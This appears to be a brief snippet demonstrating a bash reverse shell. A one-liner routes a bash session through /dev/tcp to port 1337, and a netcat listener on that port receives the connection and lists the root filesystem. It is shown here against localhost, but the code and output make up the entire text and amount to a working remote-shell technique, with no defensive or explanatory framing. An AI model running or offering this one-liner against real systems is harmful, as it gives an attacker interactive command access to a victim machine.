exec 3<> /dev/tcp/localhost/1337 <&3 >&3; bash
bash FTW?
$ nc -v -l -p 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42606
ls /
bin
boot
dev
etc
home
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
sbin
sys
tmp
usr
var